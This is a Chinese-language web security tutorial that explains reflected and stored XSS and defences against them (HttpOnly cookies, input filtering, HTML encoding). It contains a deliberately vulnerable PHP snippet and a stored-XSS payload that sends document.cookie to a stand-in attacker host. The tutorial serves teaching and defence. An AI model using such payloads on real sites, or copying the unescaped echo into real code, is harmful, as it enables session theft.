web安全-XSS攻擊及防護

 

XSS攻擊的原理javascript


xss表示Cross Site Scripting(跨站腳本攻擊),它與SQL注入攻擊相似,SQL注入攻擊中以SQL語句做爲用戶輸入,從而達到查詢/修改/刪除數據的目的,而在xss攻擊中,經過插入惡意腳本,實現對用戶遊覽器的控制。php

xss攻擊主要用戶攻擊者盜取用戶的cookie,因爲sessionId是存儲在cookie中的,當攻擊者獲取了用戶的cookie,則攻擊者能夠在session的生命週期內,達到獲取被攻擊用戶的用戶權限。html

 

xss攻擊能夠分紅兩種類型:java

  1. 非持久型攻擊
  2. 持久型攻擊

 

1.非持久型攻擊數據庫

顧名思義,非持久型攻擊是一次性的,僅對當前訪問產生影響。非持久型攻擊要求用戶訪問一個被攻擊者篡改的url地址,用戶訪問時,被植入的攻擊腳本被用戶瀏覽器執行,以達到攻擊的目的。瀏覽器

假設有如下頁面:安全

<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://www.cnblogs.com/chenqf/">Click to Download</a>";
?>

該頁面顯示兩條信息服務器

  • 從URI獲取 'name' 參數,並在頁面顯示
  • 顯示跳轉到一條URL的連接

這時,當攻擊者給出如下URL連接:cookie

index.php?name=guest<script>alert('attacked')</script>

 當用戶點擊該連接時,將產生如下html代碼,帶'attacked'的告警提示框彈出:網絡

Welcome guest
<script>
  alert('attacked');//獲取用戶cookie,並將cookie經過網絡傳輸至攻擊者,則攻擊者獲取了用戶權限
</script> <br> <a href='http://www.cnblogs.com/chenqf/'>Click to Download</a>

當用戶打開該地址後,會彈出「attacked」,攻擊者能夠在此植入javascript代碼,以達到操做用戶瀏覽器的目的

 

2.持久型攻擊

持久型攻擊是存儲式XSS漏洞,因爲其攻擊代碼已經存儲到服務器上或者數據庫中,因此受害者是不少人。

例子以下:A網站爲論壇網站,攻擊者能夠在論壇中發表文章,該文章內包含攻擊代碼,並保存。

<script>window.open(「www.attacked.com?param=」+document.cookie)</script>

 這時,任意用戶看到了攻擊者發佈的文章,並點擊進入查看文章,此時以前被植入的攻擊代碼被執行,將用戶的cookie信息傳遞給攻擊者。

 

 

XSS攻擊的防護


1.HttpOnly防止劫取Cookie

HttpOnly最先由微軟提出,至今已經成爲一個標準。瀏覽器將禁止頁面的Javascript訪問帶有HttpOnly屬性的Cookie。

嚴格的書,HttpOnly並不是爲了對抗XSS攻擊,HttpOnly解決的是XSS後的Cookie劫持攻擊。

某些時候,應用可能須要javascript訪問某幾項cookie,這種cookie能夠不設置爲HttpOnly標記,而僅把HttpOnly標記給用於認證的關鍵Cookie。

 

2.輸入檢查 XSS Filter

常見的XSS攻擊都須要攻擊者構造一些特殊字符,這些字符多是正經常使用戶不會用到的,因此輸入檢查就有存在的必要了。

輸入檢查的邏輯,必須放在服務端代碼實現。若是隻是在客戶端使用javascript進行輸入檢查,很容易被攻擊者繞過。

目前的廣泛作法是,在服務端代碼和客戶端代碼中實現一樣的代碼檢查邏輯。

互聯網上有不少開源的XSS Filter的實現。

 

3.輸出檢查

在變量輸入到html頁面時,對html代碼進行HtmlEncode。

爲了對抗XSS,在HTMLEncode中要求至少轉換如下字符:

&     –>     &amp;

<     –>     &lt;

>     –>     &gt;

」     –>     &quot;

‘     –>     &#x27;

/     –>     &#x2f;

 

參考:《白帽子講Web安全》

相關文章
相關標籤/搜索